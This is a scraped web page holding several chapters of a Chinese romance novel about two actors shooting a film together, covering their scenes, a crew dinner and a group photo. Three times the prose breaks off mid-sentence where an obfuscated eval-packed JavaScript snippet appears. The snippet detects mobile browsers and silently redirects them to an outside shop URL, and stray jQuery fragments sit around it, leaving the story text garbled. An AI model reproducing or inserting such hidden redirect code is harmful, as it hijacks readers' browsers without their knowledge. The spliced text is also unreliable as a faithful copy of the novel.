她身子微微一僵,只见李志强穿着松垮的白背心,脚踩拖鞋,站在冰箱前喝水。在他身后,洞开的主卧露出半边床,床沿矮凳上坐着一个枯瘦的王彩娴,听到动静迟缓地看过来。 接触到她冷郁的目光,李金银垂下眼系鞋带,低声道:“太热了,去买根冰棍。” 李志强不在意地嗯了一声,摔上冰箱,咒骂这热天。 李金银麻利地下楼,踩上自行车,往娄泽打工的台球店疾驰而去。娄泽十点钟下班,运气好的话能赶上沿路豆花店的最后一袋红糖冰豆花。 到了台球店,店里没几个客人,二手空调嘎吱运作,空气里满是汗味和烟味,李金银在几个黄头发的小流氓里一扫,没捕捉到男孩锐竹般的身影,径直回到前台,“老板,娄泽还没下班吗?” 前台的中年夫妻守着桌上一台小电视,男人回:“他今天先走啦,你们没约好吗?” 李金银眨眨眼,乖巧地浅笑道:“知道了,谢谢老板,老板再见。” 年轻姑娘像脆生生的嫩笋,男人笑弯了眼,目送她出门,“诶,慢走啊!” 老板娘啐了一嘴瓜子皮,横眼扫他:“你怎么不告诉她那小子滚蛋了?” “什么叫滚蛋了,我不是留他干完这个月吗?” “我看你养着闲人就是为了见这小狐媚子吧!” “哎哟祖宗你留点口德吧,我是看娄泽那孩子可怜,亲娘被两个男人玩死在床上,后爹为了给他娘报仇又成了杀人犯,要在里面蹲一辈子,小小年纪没人看管……” 女人打了他一掌:“知道他是杀人犯的孩子还用他,你没看他今天瞧我的眼神!” “那还不是你先说了难听的……” 豆花袋子上的水珠滴到腿上,一片湿凉,李金银冷眼瞧向台球店的招牌,提着冰豆花快步离开,她知道要去哪里找娄泽了。 后港朝南,原先是个货港,从前后来省城建了吃水更深的大港口,宜海这个就渐渐废弃了,倒是西北岸的小渔港还用着,海鲜市场就建在那里,每到翻北风的时候,整座城市都布满鱼腥味。 港口尽头停了艘破旧的采砂船,据说船主非法采砂被抓进去了,自李金银有记忆起就停在那里。 娄泽坐在港口尽头,海风把他的黑色T恤吹得鼓胀,露出一截劲瘦的腰线,在茫茫夜色里显得单薄而孤独。 这里算是两人的秘密基地,每当有人心情不好时,他们就会来后港,有时只是坐一会儿,有时一坐就是一夜,直到日出的霞光笼罩整个海面才会偷偷回家。 李金银用脚踢他,娄泽没回头,抬起手掌心向上勾了勾,李金银把豆花放上去,他顿时咧开嘴转过脸来,“赶上了?” “嗯”,李金银在他身侧坐下来,“可是豆花不冰了。” “就是暖的才好吃。”娄泽盘起腿来,用牙咬开袋子一角就这么叼着喝,“在店里听到什么了?” 李金银低头不语,他就明白她什么都知道了,笑着长叹:“又得找活儿干了。”实际上也不见多烦恼的样子。 过了一会儿,他望着海面说:“明天是我爸探监的日子,我请了假。” 李金银点点头,听他继续自语:“也不知道要给他带些什么,别人进去前都知道交代点什么,他闷半天就给我来句——‘好好的’” 娄泽的父亲被判死缓两年,今年是头一次放监,李金银说:“带个苹果吧。” “苹果?”娄泽摸摸鼻子,“也是,里面伙食估计不怎么样,是要补充点维生素”,又说:“水果能带进去吗?” 李金银也说不好。 娄泽随手拨动地面上小臂粗的铁锚,锚的另一头坠在海里,随着摇晃发出幽远的水声。 “其实我不知道见了他要说什么,他不爱说话,我长这么大就没跟他说过多少话,虽然我知道他是个好人,对我和我妈都好。” 锚上掉下的铁锈片细碎地散在地上,暗红色,就像李金银赶到案发现场时遍布在娄泽和他父亲身上的血液。 娄泽和她不一样,娄泽是有人爱着的小孩,他的心脏和他的血液一样,是热的。这一点,李金银在真正认识他之后才明白。 “打个草稿吧,我帮你写。”李金银舔舔干涩的唇。 娄泽大笑起来,笑完了说:“算啦,见一面就可以了,够了。” 李金银不可置否,犹豫道:“明天……” “明天怎么了?” 李金银朝他侧脸飞速瞄一眼,摇摇头,“没什么,明天你早点去。” “为什么要我早一点?”娄泽歪着头凑过来。 李金银从他忍笑的眼睛猜到这人在故意逗她,拉下了脸色。 娄泽赶紧低头求饶,拉住她:“我错了我错了,我怎么敢忘记我们小花的生日?” 李金银再一次斜眼瞪他,小时候擅自给她取小名,不管她如何反对这人就是油米不进,真惹急眼了认个错,下回还敢,恨得人牙痒痒。 娄泽笑眯眯:“小花想吃什么口味的蛋糕?” 李金银语气生硬:“不吃,太甜了。” 她并不偏爱甜食,豆花也好,蛋糕也好,甚至后港的日出,她其实都不喜欢,但娄泽对它们出奇的执着,他总是喜欢这些充满糖分的、中看不中用的东西,说这些东西有令人心情变好的魔法,李金银对此不屑一顾。 “生日怎么能不吃蛋糕,吃甜食会让人心情变好。” 看,又是这幅说辞。 “好了,就这么定了!”娄泽敲定主意,拍拍屁股起身,“你不能出来太久,走吧,送你回去。” 李金银眼珠动了动,“你呢?” “我也回家,今天不等日出,”娄泽仿佛猜到她在担心什么,晃了晃手里喝空的豆花袋子,眨眼笑了:“毕竟我已经有这个了,人太贪心的话,魔法是会消失的。” 这天的拍摄重点在闻勉身上,最后一条宣布通过,副导拿着喇叭喊了三遍收工。闻勉从地上起身,跨过港口的安全栏杆时伸手扶了她一把,待她站定后才转身去检查监视器。 毫无疑问,他演的很精彩,比剧本上的娄泽还有层次,连带着和他搭戏的喻氤也比预计早收工半小时。 秋秋过来低语说司机送车去修现在还在半路,要等一等,闻勉在旁听到了,随口说:“跟我的车走吧。” 他的房车一直在现场等着。 喻氤看了看叮呤咣啷拆灯拆轨道的现场,她还想赶紧回去背词,于是点头:“方便的话,就打扰了。” 闻勉不在意地颔首,带着她和秋秋回了自己的房车。 他的助理小余之前给喻氤削过橙子,见到她开朗地叫人:“喻老师好啊。” 喻氤对他笑笑:“打扰。” “您客气。”说完给她和秋秋拿了两瓶水,回驾驶室去了。 房车应该是闻勉自己的,最高配置,会客厅比喻氤那辆租的大了一倍不止,宽敞得令人拘谨——至少秋秋在那可以坐下五六个人的单侧沙发上就坐得很是拘谨。 闻勉看她大气不敢出的样子,似笑非笑地问:“我会吃人吗?” 秋秋:“!!” 向喻氤投来求助的目光。 喻氤:“……” 别看她啊,她也没遇到过这阵仗。 他轻笑一声,“逗你们的。” “回去还要开一会儿,放松点。” 他换了自己的衣服,脸上仍带着娄泽的妆,肤色比本人深了一号,化妆师精巧的几笔改变了他的眼型,整体看上去粗粝了许多。 闻勉察觉到身上的视线,挑了挑眉:“怎么了?” 这个动作让他看上去更锐利了。 喻氤的语气里带上一丝憧憬:“您这幅扮相很像《湄公河哭声》里的小野。” 那是闻勉十六岁时参演的一部缉毒片,他在里面演一个无父无母,被犯罪集团养大的老挝少年,打架粗暴狠戾,但心存一丝底线。 闻勉扭头瞥一眼车上的化妆镜,看上去有些意外,“你还看过这部戏。” 《湄公河哭声》是他二十岁前的最后一部戏,后来电影因为涉及宗教和毒品犯罪,尺度太大,剪掉了整整三十分钟,导致公映版剧情脱节,口碑和票房都没赚回来,是他参演的作品里成绩最差的一部。 “第一次跟您合作,怕拖后腿,就把您和孟导的作品都找来看了一遍,那部片子剪得不好,小野的线却是完整的,您在没有几句台词的情况下,让小野的每一次出场都给人留下很深刻的印象。” “在知道是您来演娄泽时,我脑中的这个人物就是以小野为基形建造的,当然两个角色有很大差别,但确实对我有很大帮助。” 闻勉眼梢微动,发现喻氤说到他演的角色时整张脸都亮了起来,在此之前她漂亮归漂亮,但总像蒙了层灰,即使是笑着眼里也没有光。 这类眼神他并不陌生,几乎在每个影迷身上都能见到,但他不认为喻氤是他的粉丝。 闻勉凝着她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042182|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏地一笑,“其实算上20年的献礼片,《铁锈》应该是我们第二次合作。” 喻氤嘴角的弧度一僵,旁听的秋秋惊叹出声:“您居然知道喻氤姐在《百年征途》里出演过?” 闻勉听完没接话,笑着垂下眼,拧开桌上的水喝了一口。 喻氤明白过来,孟竖和陈生尚且要对她做背调,闻勉作为男主演自然也要查一查未来搭档的资料,尤其当搭档是一号没听说过的人物。 她微微低头,不太好意思地摸着鼻尖:“我在《百里征途》里演的是一个名字都没有的小角色,怎么能算跟您合作过。” 顿了顿,又说:“不过,您的现场我一次都没落下。” “哦?是吗?”闻勉有些兴致的样子。 喻氤点头,无意识地捏着手里的矿泉水瓶,闻勉被塑料的声响牵动,垂眼在她修剪圆润的指尖轻扫过。 “我在拍完客串之后,就和副导演商量可不可以自掏食宿留在现场观摩,所以其实您的戏我都在现场。” 当时公司对她的态度刚刚有所和缓,给了她一部网大的资源,她不想接,却也付不起违约费。 开拍前一个月她突然得知年度献礼片《百里征途》中有个出场五分钟的小角色,从主演到配角可谓老戏骨云集,更有闻勉领衔主演,于是她背着公司偷偷去试了镜。 后来把网大分给她的那个高层大发雷霆,说她给脸不要脸,还让她去陪那部网大的资方吃饭赔罪,不把人家伺候高兴就不用回来演戏了,最后是周湘费了很大功夫才把她保下来。 “其实我一直想跟您说声谢谢。”喻氤舔了舔嘴唇,有些犹豫的开口。 闻勉挑了挑眉。 “在《百里征途》跟组的期间,我最大的收获并不是观摩到几位前辈老师的演技,而是你们等戏时闲聊的一番话。” “当时你们在聊演员接戏的原则,章老说什么戏都接是演员大忌,年轻人要耐得住寂寞,爱惜自己的羽毛和灵气。” “在场的所有前辈都支持他的观点,只有你说‘为什么不接?只有接了才有可能被看见,只有被看见,未来才有能力做选择’。” 闻勉笑起来,“难道不是吗?每个人都说《拾荒者》之后找我的都是好本子,但是别忘了,我小时候演过的奇怪角色多了去了。” 喻氤忍俊不禁,闻勉看看她,坦白:“很抱歉,你说的这些我实在没什么印象。” 喻氤摇了摇头,“没关系,你本来就不是对我说的,只不过这些年我一直记着,偶尔安慰安慰自己,如果不是那句话我可能坚持不到被孟导看见。所以再次见到您,觉得有必要向您道谢。” 从《百里征途》拍摄基地回到公司后,她开始不再钻牛角尖和公司硬碰硬。 即使是最受鄙视的网大她也接了,给老总们想捧的素人小鲜肉做工具人女主,这些女主角不需要有自己的想法,只要服务于男主、显得男主很帅气迷人即可,这也是为什么她后来演的都是小白花,以至于这种印象被带入现实,成了她的“人设”。 再后来就越混越糊,拍《斩风破浪》的前两年,连网大网剧都没人找她了。 娱乐圈么,听话的背景板演员还不好找? 回忆到一半,车子在酒店前停稳,谈话不得不终止,闻勉要去化妆间卸妆,喻氤则是回房间自行处理,几人就在大厅里分别。 离开前闻勉不知在想什么,忽然转身,“我可以问问你,一开始为什么要学演戏吗?” 喻氤有点讶异,闻勉看上去很想知道答案,所以她也不想糊弄他,沉思片刻,“当我的喜怒哀乐能牵动观众的情绪时,我会很有成就感。” “这样啊。” “你呢?”喻氤不自觉对他用了同龄人的称呼。 闻勉像是想到了什么,眼里有一瞬的出神,紧接着他装作认真想过的模样,笑着摇头:“时间太久,记不清了,也可能是原本的生活太无趣了,谁知道呢?” 电梯适时抵达一楼,发出“叮”的一声提醒,闻勉朝她挥挥手,转身离去。 秋秋望着他潇洒的背影,默默感叹:“不愧是含着金汤勺出生的闻家长孙。” 喻氤步入电梯摁下楼层。 秋秋跟上来,继续说着:“我家要是也像闻家这样坐拥商业帝国,我简直不敢想我会无聊到什么地步,大概这就是有钱人的烦恼吧,什么都唾手可得了,活着也就变成一件了无生趣的事了。” 喻氤觑了她一眼,“你是真心的?” “……不,我违心的。” 秋秋嫉妒的发狂:“我也好想体会一把有钱人的无趣!” 15. P-7 合照 李金银生日这天,李志强在家睡到晚饭才起,饭桌上李志强逗小狗似的,时不时问两嘴她的学业,王彩娴一如既往的沉默。 电视里放着民生新闻,讲的是本省出现的一种新型人口拐卖骗术,打着经商的名头,团伙作案,请广大市民提高警惕。 李金银把头埋进碗里,听到李志强若无其事地转了台,一顿饭下来,没人提起生日的事,李金银习以为常。 吃完饭她火速洗了个澡,搬着小板凳坐到阳台上。她家住在二楼,有一个外延的小阳台,在那里能看到巷口的情形。 南方的夏日天黑得晚,太阳开始落山的时候,娄泽终于出现在巷口,李金银一个激灵蹦起来,提起早准备好的垃圾袋,“我出去丢垃圾。” 李志强靠在沙发上抽烟,敷衍地回了句什么,随着门被带上戛然而止。 李金银站在二楼狭窄的楼道里,门背后是隐约传来的电视声,不知哪家正在做饭,下锅的油声噼里啪啦。 娄泽站在一楼,从自行车后座变出一个包装精美的蛋糕盒,自下而上地冲她做出口型:“生日快乐!” 李金银明白自己一整天就是在等待这一个时刻。 因为他还得上晚班,李金银也没有特别想去的地方,两人往楼上去,就近在三楼的阶梯上坐下。 这一层常年没人住,转角处没封窗的开放窗口爬满了无人清理的青苔,呈现出不太美观的绿褐色,正对面楼栋裸露在外的粗黑水管蜿蜒曲折,第一次来的时候吓了娄泽一跳,直呼“有蛇!” 李金银想着嗤笑了一声,娄泽狐疑地瞄她一眼,她摇摇头说:“来拆蛋糕吧。” 娄泽买的蛋糕不大,只有6寸,李金银切了一大块给娄泽,娄泽没接,而是挑剔地抓起她洗完后贴在肩背的湿发,“怎么又不擦头发?” “放着一会儿就干了。”李金银吃了一口蛋糕,不甚在意。 娄泽曲指给她脑袋来了一下,叹了一声,从斜跨书包里翻出一包纸巾,坐到她身后一点一点用纸巾吸去她发尾的水汽。 发根处拉拽的力度舒服得让人想睡觉,李金银含着蛋糕想,娄泽每次打完架都是用衣服擦血,包里却会备上一包干净的纸巾呢。 她低头看了看叉子,挖了一块伸向身后,叉子在空中停留了两秒,略略一重,蛋糕被人咬了去。 李金银收回叉子,若无其事的挖了一块放进嘴里,再挖一块递给身后,两人就这样分掉了大半个蛋糕。 半干的长发被拨到身前,娄泽轻声说:“好了,擦干了。” 他也要去打工了。 他扫了一眼还剩三分之一的蛋糕,起身低低一笑:“蛋糕放到冰箱里,明天当早餐吃。” 李金银点头,默默将剩下的蛋糕小心地收回盒子里,送他到楼下。 天色已经渐暗,娄泽跨上自行车回望,神情认真,“小花,希望你的17岁能快乐。” 孟竖喊了卡,秋秋展开一件披肩包住喻氤,天气预报这两天会下雨,果然傍晚就开始刮起风,喻氤身上单薄的吊带裙被头发打湿,手臂上悄悄爬起鸡皮疙瘩。 过了一遍监视器,孟竖说这一场没问题,闻勉今天的部分就全部完成。 喻氤目光不自觉追随,发现他没有离开的意思,想起演李金银和娄泽少时的小演员今天杀青离组,孟竖通知今晚请大家吃饭。 所以闻勉是准备在现场等收工,还有最后一场戏的喻氤产生了些许压力。 还是接上一场,李金银把蛋糕放回冰箱,批改订正了昨天写的物理试卷,再出来时发现李志强把剩下的蛋糕全吃了。 蛋糕盘上奶油一片狼籍,沾得桌上也黏黏糊糊,李金银捏紧塑料刀叉,压下骤然升腾起的烦躁:“这是娄泽送我的。” 李志强玩手机的头抬了抬,“啊,娄泽啊,就是以前巷口水果摊那家的儿子?” 李金银死死地盯着他,脑中闪现的却是他跟着娄泽妈妈进屋的背影,只听李志强接着问:“突然送你蛋糕是最近有什么好事?味道还不错,你下次问问哪家买的……” “今天是我的生日。” “……哦,蛋糕上没写,下次爸再补给你一个,回去写作业吧。” 李金银没动,依旧盯着他。 李志强啧了一声,搭在矮几上的腿放了下来,“你开学上高二了吧?‘公司’这几年规模不一样了,我准备带人去东北发展,学校已经给你联系好了,开学就去那边读。” 李金银几乎是脱口而出:“我不去。” 李志强饶有兴趣地上下打量她一番:“我记得你小时候不爱读书,不知道什么时候起你成绩越来越好了,难道你想考大学不是为了尽早离开这个家?” 李金银眼神暗下来,李志强笑了,好像在笑她的天真,“你是我的女儿,我了解你,你是只藏着牙的蛇,但是你得知道,你流的是我的血,花的是我的钱,你天性里的东西是改不了的,你永远是这个家的一份子。” “我可以让你出去读几年书,作为交换,别做让爸不高兴的事,还是”,他话里带上一丝狠厉,“你为了娄泽那小子,可以放弃读书?” 李金银垂下眼,李志强满意地留下一句“好好想想”后关掉电视回了房间。 “卡,收工。” 随着这声停机响起,饰演李志强的港星谭嘉群从房里打开门,笑着拍手:“收工啦收工啦,导演今晚有冇龙虾食哇?” 孟竖用粤语回他,让他吃个痛快。 大家都松散下来,只有喻氤还低头站在取景客厅好像没听见收工,秋秋欲上前:“喻氤姐……” 一只手拦住了她。 闻勉看了一眼那个一动不动的身影,淡淡吩咐:“她在出戏,别打扰她。” 秋秋看看他,又看看远处的喻氤,讷讷道:“……唔好的。” 闻勉没看她,收回视线跟上孟竖等人,往片场外走去。 秋秋等了不到一分钟就见喻氤抬起头走过来,看起来和平常没什么区别,让她有点怀疑是不是闻勉老师多心了,把这一小小插曲告诉喻氤。 喻氤再度接过披肩,朝门口望了望,闻勉的身影已消失不在,她点点头表示知道了。 现场的跟妆师帮她把最后一点发尾吹干,喻氤换了衣服便也收了工,车子直接去孟竖提前订好的饭店。 剧组包了几间包厢,主创们坐一间,其他包厢都是各个组的工作人员。 喻氤到的时候孟竖已经坐下了,左侧坐着闻勉,右侧坐着陈生,然后是港星谭嘉群,饰演王彩娴的大陆女星韦琳,再接着就是副导、主摄、以及编剧。 孟竖见了她,点了点闻勉旁边的位置,“坐,给你留的。” 喻氤朝几人颔首,叫了人,落座时跟闻勉低声说了句:“谢谢。”指的是他拦住秋秋等她出戏的事。 闻勉应该是听懂了,随意地笑了笑。 菜是提前订好的,因为谭嘉群要吃龙虾,孟竖又叫人换了豪华的大龙虾来,几个男人开始抽烟聊天。 喻氤没打算加入,她不是老烟枪,只有压力大的时候才会抽一两根,而且孟竖几人抽的是一款味道很重的港烟,在封闭的包厢里有些呛鼻。 她换了几个姿势,坐得难耐,身边的闻勉突然瞥了她一眼,伸手推开了她身后的半扇窗。 喻氤瞧他,他却已经扭过头去,替她开窗的那只手转过桌上的茶壶,给自己倒了一杯茶,似乎开窗只是随手之举。 海边城市风大,很快将窗边的浊气吹走,偶尔还吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042183|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来闻勉身上若有似无的一缕苦柚和莲叶的味道,在夏天里格外清新。 喻氤心里感激,坐得舒服多了,见茶壶就在自己跟前,想到这边的餐桌文化里有烫碗这道工序,便拿来准备烫个餐具。 一系列的动静引来了谭嘉群的注意,他看看窗户,取下嘴里叼的烟问:“闻勉不抽烟?” 他是老牌打星出身,早年也拿过香港的金像影帝,转型之后常演一些充满匪气的硬汉角色,和孟竖算是老相识,和闻勉倒是第一次合作,对这个后辈态度非常客气。 闻勉看向他,还没开口,孟竖先抢着哼了一句:“抽你的,不用管他,他只喝茶。” 谭嘉群咧嘴一笑,“钟意饮茶,好事喔。” 孟竖也用粤语回答:“佢系金口,好难服侍嘅,”说着朝茶壶抬了抬下巴,“呐,出来拍戏都只饮自己带的叶。” 正在用茶烫碗筷的喻氤动作一顿,然而碗里的茶水已经被她倒了出去,哗啦啦的水声吸引了所有人的注意。 谭嘉群最先反应过来,大笑了几声,对着喻氤竖起三根指头:“喻氤,你这一倒少说倒掉这个数。” 说完起身自己倒了一杯入口,直摇头:“侍应不懂茶,可惜了你这上好的太平猴魁。” 喻氤僵硬地转头,不出意料,闻勉正幽幽地望着被她倒掉的一大碗茶水,黑眸移到她身上。 “……” 喻氤感觉背后冒了层冷汗,想解释自己不知道这是他带来的名贵茶叶,闻勉却什么也没说,淡淡收回视线,对着谭嘉群噙起一抹笑意:“嘉群哥要是喜欢,下次请您尝尝我的手艺。” “哎,哪当得你一声哥!”谭嘉群手在眼前摆了摆。 喻氤抬起见底的茶杯喝了一口,只觉得入口浓郁醇厚,喝下肚之后舌尖慢慢尝出清淡的回甘,很香,并没有尝出哪里不好,可闻勉直到饭局结束都没再碰过茶杯。 上了菜大伙边吃边聊,喻氤大多数时间作为聆听者,话带到她这才接几句,应该算是有史以来饭桌上存在感最低的女主演。 酒过几旬,两个小演员在监护人的带领下过来给导演敬茶,演李金银儿时的女孩年纪大一点,十三岁,喻氤此前没看过她演的戏,倒是那个演少年娄泽的小男孩在影视城很活跃,人也皮实胆大,喻氤知道他。 两个小演员演的是喻氤和闻勉的前身,本身却和他们没什么交际,反而跟对手戏的谭嘉群、韦琳亲近一些。 孟竖喝了小童星们的茶,说了几句寄语,小男孩走之前突然提出想和闻勉合个影,与此同时,喻氤感到自己身上也投来了一道视线,追溯回去,女孩腼腆地低下了头。 闻勉看看两个小孩,爽快地表示可以,又接着说:“李金银也一起吧。” 喻氤愣了愣,看向小女孩,对方眼里闪着光,她站起来说:“好,大家一起拍一张吧。” 最后就选在包厢的酒柜前,妈妈们喜笑颜开,分头行动一个拍照一个打光,指挥着两个孩子站到喻氤和闻勉身前。 喻氤低头看了看到自己肩膀的小女孩和已经长得跟自己一样高的小男孩,纳闷现在的小孩吃什么营养这么好,悄悄地踮起了脚尖。 男孩的妈妈说:“来,站近一点!三!” 喻氤犹豫了一瞬,没动。 “二!” 随着镜头的闪光提前开启,喻氤面朝镜头展开笑容,余光里冷不丁暗下一片阴影,整晚萦绕在鼻尖的香水味清晰起来——闻勉倾身朝她靠了过来。 喻氤一个激灵,踮起的脚尖贴回了地面,还没站稳耳边传来一声若有似无的轻笑,她本能朝声音来处侧脸。 “一!” 闻勉磁性的低音贴着耳根响起,“看镜头。” “茄子——咔嚓。” 16. P-8 解围 “咔嚓——” “哎呀,这张拍得好好!”“这下我家儿子可以拿着跟班上同学炫耀了。”两个妈妈笑得合不拢嘴。 喻氤看着对方相机里的合照,严格意义来算,这是她和闻勉的第一张合照。 照片里闻勉虚虚揽住她,多情眼中笑意柔和,而自己虽然在最后一瞬间直视了镜头,但脸和身体还是朝向闻勉的,看起来像是被他拥在怀里,加上身前的两个小朋友,画面看起来怪怪的。 她在脑中默默祈祷两位小演员在电影上映前可千万别发到网上去…… 合了影,两个小演员就要出发回省城了,都是还在上学的年纪,父母都急着早日赶回家,好让孩子在补习班补上学业。 喻氤心叹做童星也不容易啊,光鲜亮丽的背后要付出比同龄孩子更多的努力。 她把提前给他们准备的杀青礼物拿了出来。 不出意外的话她应该是剧组最后一个杀青的,所以为每个演员都准备了小礼物。礼物不贵重,是她在片场闲暇时间给每个人画的画像,想来想去大家应该什么都不缺,一副画像带回去还能当个纪念。 谭嘉群见状夸张地捂住心脏,“不会我们都有吧?” 喻氤不好意思地点了点头,韦琳开玩笑道:“那感情好,等我收到了一定好好裱起来,喻氤你可要把我画的好看一点哦。” 话题既然到了喻氤这里,谭嘉群顺势问:“喻氤演了几年戏了?” 喻氤照实回答:“今年是第七年。” “七年不短咯,难怪今天的眼神戏那么好,”说着又转向韦琳,征求附和似的,“现在的年轻人不得了,我们在她这个年纪的时候,哪有这么灵的,是吧?” 韦琳眉梢一跳,笑而不语地翻了个白眼,这只知道打拳的粗老汉,夸喻氤就夸喻氤,把她带进去做什么?要不是孟竖哪根筋搭错了非要用喻氤,这十几线的电视剧糊花哪能跟她演一部戏? 更别提这里咖位最大的那位还在边上坐着呢?谭嘉群旁若无人的在这夸一个电影新人,把闻勉的脸往哪儿搁? 但谭嘉群似乎喝多了,没发现韦琳的不悦,还在滔滔不绝:“所以说还是老孟眼光毒,进组之前跟我同公司的秦昼专门打电话来让我多关照喻氤,我这个老哥哥还打下包票,现在看那不是多此一举么,老孟这部戏一定能冲奖,喻氤说不准就是下一个闻勉咯。” 边说边掏出手机,当着众人的面打给秦昼,说要把人数落了一顿,问问为什么不早告诉自己喻氤是块好苗子! 动作之快,坐她旁边的人都来不及阻拦。 电话被外放,秦昼在那边喂了两声。 喻氤抿了抿唇,早知道收工时就该说自己不舒服不来吃饭。 其他人也没想到谭嘉群喝晕了这么没分寸,孟竖放下酒杯,把电话接了过来,对着通话里的秦昼安抚了两句。 “没事,老谭喝醉拨错电话了,等明天让他再打给你。” “嗯,好,挂了。” 他和谭嘉群是老相识,不好说什么,只在手机还回去后叮嘱了一句:“下次别让他沾酒。” 陈生应了一声,亲自出门找人送谭嘉群回酒店。 谭嘉群一走,包厢里有些冷场,其他人打着哈哈想把闹剧掀过去,但几个主位不吭声,气氛显然一时半会儿活跃不起来。 最终是闻勉打破了僵局,他转了转手边的茶杯,看向默默不语的喻氤,“喻氤不会成为第二个我,她只会是她自己。” 喻氤一怔,侧目与他对视,发现闻勉小幅度地朝她扬了扬嘴角,很隐蔽,大概只有离得近的她能看见。 什么意思? 不等她细想,闻勉便转了回去,环视桌上众人,语气温和却自带重量,“我从来不怀疑孟叔的眼光,他每次都会精准地找到最合适角色的人,所以我也很期待,喻氤能走得多远。” 孟竖向闻勉投去意外的一眼,韦琳很有眼力见地接话:“孟导您听听,闻老师这是给您上压力了!” 其他人捧场地笑起来,那股暗流涌动的感觉消散不少,这时候陈生回来了,他是聊天的高手,一入席话就绵绵不断,就这样,饭桌上的气氛在一群人有意无意地带动下再次热了起来。 之后餐桌上聊了什么喻氤就完全没在听,脑中翻来覆去重复着闻勉的那几句话。 平心而论,夸她是下一个闻勉这种话简直是非常抬举她了,每年国内外大大小小的电影节能抬出多少个影帝影后,这些名头对于普通演员来说可以是荣耀,但闻勉,他的名字就是最能代表他的头衔。 可以说他就是所有演员奋斗的终点,现在这样的人却在说:你不必成为我,你有你自己的路。这远比直接夸她演的好更让她震动。 不管他是不是真心,又是不是出于对孟竖的信任才出言解围,这几句话都像甘霖一般,浇湿了她内心一块干涸已久的地方,心脏不可自已地砰砰跳起来。 直到剧组的演员小群里弹来消息,小演员的妈妈们发来了方才的合照,喻氤才从反常的兴奋中平缓下来。 她将合影保存下来,转头看看合影中的另一个主人公,他把玩着手中的茶杯,没有表情的侧脸看起来有点冷淡,喻氤有种莫名的直觉,这人好像也和她一样,游离在话题外,像在发呆。 于是她试探性的凑近搭话:“闻老师,小娄泽的妈妈把照片发在小群里了。” 闻勉垂着眼侧过半张脸来,睫毛长而下垂,这个角度竟然有些柔美,他低低地“嗯”了一声,伸手摸向口袋,接着扫视了一眼饭桌,陷入沉思。 喻氤还是第一次看到他在演戏之外的事情上这么严肃,不觉跟着紧张起来,“怎么了?” “……手机。” “好像落在片场了。” 艺人的手机丢失是大事,如果是在片场当然是最好,如果是半路掉在哪里叫有心人捡到曝光隐私就糟了。 喻氤赶紧点开剧组大群的微信,“要叫你助理回去拿一下吗?” “不必。”闻勉摇头,“小余病了,今天没让他跟着我。” 喻氤回想好像今天一整天确实没在现场看见他的助理小余,犹豫了片刻递出手机:“收工以后场务都要收拾片场,大概率是被他们捡到了,要不你给自己打个电话?” “多谢。” 闻勉没跟她客气,接过手机拨了自己的号码,但盲音许久都没人接听。 喻氤出于感激,今晚格外热心,安慰他:“也可能是落在车里了,以防万一发条短信过去吧,要是联系我了我会尽快转达给你。” 闻勉大概是觉得有点麻烦,叹了口气,编辑了一条十分简练的短信,让对方看到消息联系他的助理小余。 这条短信还没发出去对面的电话就打了过来,接起来似乎闹哄哄的,喻氤也听不清说了什么,只听闻勉答了几声“好的”“谢谢”就收了线。 “确实是被场务组收走了,他们说一会儿让人送到酒店。”他一一删除打下的短信草稿,将手机还给喻氤,又对她说了一次谢谢。 “不客气,我很高兴能帮上你。”喻氤扬起一个真心的笑,闻勉眼神微动,手上的手机震动了两下,屏幕自带点亮弹出弹窗,两人不约而同低眼去瞧。 ——【老幺,刚刚嘉群哥给我打了个电话,提到了你。】 ——【我想了想总觉得不放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15044786|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,还是问问你,你们没出什么事儿吧?】 看清文字的刹那,喻氤莫名心慌,飞快瞥了一眼闻勉。当年秦昼的恋情闹得轰轰烈烈,她也牵扯其中,落了个声名狼藉的下场,她不确定闻勉听没听说过、听说过多少。 然而闻勉只是目光顿了顿,什么也没看见一般将手机还给了她。 他打电话时没有避开众人,陈生关切地问是不是有什么重要的事,闻勉解释了几句不必在意,随后便回到了话题中心,直到席散喻氤都没再和他单独说上话。 出了饭店,外面不知什么时候下起了雨,剧组好些人喝得站都站不稳,勾肩搭背地被人架着聚在大堂等车,喻氤听到统筹小声跟人抱怨这雨下的太衰,害得他要连夜改通告单了。 孟竖记挂着拍摄,酒喝得十分克制,看看外面的雨宣布明天晚两个小时开工,等通告单。 喝嗨了的几十号人不顾还在饭店里,一窝蜂地起哄——又能多睡一会儿了。 大概一刻钟的时间,工作人员陆陆续续乘车离开,饭店迎宾大厅清净了许多。 